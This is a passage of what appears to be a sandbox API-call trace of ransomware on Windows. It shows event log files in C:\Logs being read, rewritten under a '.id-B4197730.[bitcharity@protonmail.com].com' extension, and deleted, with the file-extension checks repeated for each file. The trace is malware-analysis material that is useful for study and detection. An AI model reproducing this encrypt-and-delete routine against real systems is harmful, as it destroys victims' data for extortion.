dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0147.036] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.036] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.036] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.036] GetLastError () returned 0x0 [0147.036] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.107] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.109] ReadFile (in: hFile=0x1038, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.109] WriteFile (in: hFile=0x1084, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x13a, lpOverlapped=0x0) returned 1 [0147.109] SetEndOfFile (hFile=0x1084) returned 1 [0147.117] CloseHandle (hObject=0x1084) returned 1 [0147.120] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.120] SetEndOfFile (hFile=0x1038) returned 1 [0147.122] CloseHandle (hObject=0x1038) returned 1 [0147.122] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.122] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1 [0147.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.123] lstrlenW (lpString=".doc") returned 4 [0147.123] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString=".docx") returned 5 [0147.123] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.123] lstrlenW (lpString=".pdf") returned 4 [0147.123] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString=".xls") returned 4 [0147.123] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString=".xlsx") returned 5 [0147.123] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.123] lstrlenW (lpString=".ppt") returned 4 [0147.123] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.123] lstrlenW (lpString=".zip") returned 4 [0147.123] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString=".rar") returned 4 [0147.123] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString=".bz2") returned 4 [0147.123] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.123] lstrlenW (lpString=".7z") returned 3 [0147.123] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.123] lstrlenW (lpString=".dbf") returned 4 [0147.123] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.124] lstrlenW (lpString=".1cd") returned 4 [0147.124] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.124] lstrlenW (lpString=".jpg") returned 4 [0147.124] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.124] lstrlenW (lpString=".doc") returned 4 [0147.124] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString=".docx") returned 5 [0147.124] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.124] lstrlenW (lpString=".pdf") returned 4 [0147.124] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString=".xls") returned 4 [0147.124] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString=".xlsx") returned 5 [0147.124] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.124] lstrlenW (lpString=".ppt") returned 4 [0147.124] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.124] lstrlenW (lpString=".zip") returned 4 [0147.124] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString=".rar") returned 4 [0147.124] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.124] lstrlenW (lpString=".bz2") returned 4 [0147.124] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.125] lstrlenW (lpString=".7z") returned 3 [0147.125] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.125] lstrlenW (lpString=".dbf") returned 4 [0147.125] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.125] lstrlenW (lpString=".1cd") returned 4 [0147.125] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59 [0147.125] lstrlenW (lpString=".jpg") returned 4 [0147.125] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.125] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.125] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0147.125] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.129] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0147.129] CloseHandle (hObject=0x1084) returned 1 [0147.129] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0147.129] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.129] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.129] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.129] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.129] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.130] GetLastError () returned 0x0 [0147.130] ReadFile (in: hFile=0x1084, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.217] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.237] ReadFile (in: hFile=0x1084, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.239] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x136, lpOverlapped=0x0) returned 1 [0147.243] SetEndOfFile (hFile=0x10c0) returned 1 [0147.245] CloseHandle (hObject=0x10c0) returned 1 [0147.250] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.250] SetEndOfFile (hFile=0x1084) returned 1 [0147.252] CloseHandle (hObject=0x1084) returned 1 [0147.252] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.252] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0147.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.252] lstrlenW (lpString=".doc") returned 4 [0147.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.252] lstrlenW (lpString=".docx") returned 5 [0147.252] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.252] lstrlenW (lpString=".pdf") returned 4 [0147.252] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.252] lstrlenW (lpString=".xls") returned 4 [0147.252] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.252] lstrlenW (lpString=".xlsx") returned 5 [0147.253] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.253] lstrlenW (lpString=".ppt") returned 4 [0147.253] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.253] lstrlenW (lpString=".zip") returned 4 [0147.253] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString=".rar") returned 4 [0147.253] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString=".bz2") returned 4 [0147.253] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString=".7z") returned 3 [0147.253] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.253] lstrlenW (lpString=".dbf") returned 4 [0147.253] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.253] lstrlenW (lpString=".1cd") returned 4 [0147.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.253] lstrlenW (lpString=".jpg") returned 4 [0147.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.253] lstrlenW (lpString=".doc") returned 4 [0147.253] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString=".docx") returned 5 [0147.253] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.253] lstrlenW (lpString=".pdf") returned 4 [0147.253] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString=".xls") returned 4 [0147.253] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString=".xlsx") returned 5 [0147.253] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.253] lstrlenW (lpString=".ppt") returned 4 [0147.253] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.254] lstrlenW (lpString=".zip") returned 4 [0147.254] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.254] lstrlenW (lpString=".rar") returned 4 [0147.254] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.254] lstrlenW (lpString=".bz2") returned 4 [0147.254] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.254] lstrlenW (lpString=".7z") returned 3 [0147.254] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.254] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.254] lstrlenW (lpString=".dbf") returned 4 [0147.254] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.254] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.254] lstrlenW (lpString=".1cd") returned 4 [0147.254] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.254] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0147.254] lstrlenW (lpString=".jpg") returned 4 [0147.254] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.254] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.254] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0147.254] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.254] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0147.254] CloseHandle (hObject=0x1084) returned 1 [0147.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0147.255] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.255] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.255] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.255] GetLastError () returned 0x0 [0147.255] ReadFile (in: hFile=0x1084, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.459] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.461] ReadFile (in: hFile=0x1084, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.461] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x136, lpOverlapped=0x0) returned 1 [0147.461] SetEndOfFile (hFile=0x10c0) returned 1 [0147.468] CloseHandle (hObject=0x10c0) returned 1 [0147.471] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.471] SetEndOfFile (hFile=0x1084) returned 1 [0147.472] CloseHandle (hObject=0x1084) returned 1 [0147.472] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.472] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0147.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.472] lstrlenW (lpString=".doc") returned 4 [0147.472] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.472] lstrlenW (lpString=".docx") returned 5 [0147.472] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.472] lstrlenW (lpString=".pdf") returned 4 [0147.472] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".xls") returned 4 [0147.473] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".xlsx") returned 5 [0147.473] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.473] lstrlenW (lpString=".ppt") returned 4 [0147.473] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.473] lstrlenW (lpString=".zip") returned 4 [0147.473] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".rar") returned 4 [0147.473] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".bz2") returned 4 [0147.473] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".7z") returned 3 [0147.473] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.473] lstrlenW (lpString=".dbf") returned 4 [0147.473] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.473] lstrlenW (lpString=".1cd") returned 4 [0147.473] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.473] lstrlenW (lpString=".jpg") returned 4 [0147.473] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.473] lstrlenW (lpString=".doc") returned 4 [0147.473] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".docx") returned 5 [0147.473] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.473] lstrlenW (lpString=".pdf") returned 4 [0147.473] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".xls") returned 4 [0147.473] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.473] lstrlenW (lpString=".xlsx") returned 5 [0147.473] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.474] lstrlenW (lpString=".ppt") returned 4 [0147.474] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.474] lstrlenW (lpString=".zip") returned 4 [0147.474] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.474] lstrlenW (lpString=".rar") returned 4 [0147.474] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.474] lstrlenW (lpString=".bz2") returned 4 [0147.474] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.474] lstrlenW (lpString=".7z") returned 3 [0147.474] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.474] lstrlenW (lpString=".dbf") returned 4 [0147.474] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.474] lstrlenW (lpString=".1cd") returned 4 [0147.474] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0147.474] lstrlenW (lpString=".jpg") returned 4 [0147.474] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.474] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.474] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0147.474] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.474] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=69632) returned 1 [0147.474] CloseHandle (hObject=0x1084) returned 1 [0147.475] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0147.475] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.475] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0147.475] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.475] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.475] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0147.475] GetLastError () returned 0x0 [0147.475] ReadFile (in: hFile=0x1084, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.599] WriteFile (in: hFile=0x10c0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.601] ReadFile (in: hFile=0x1084, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, 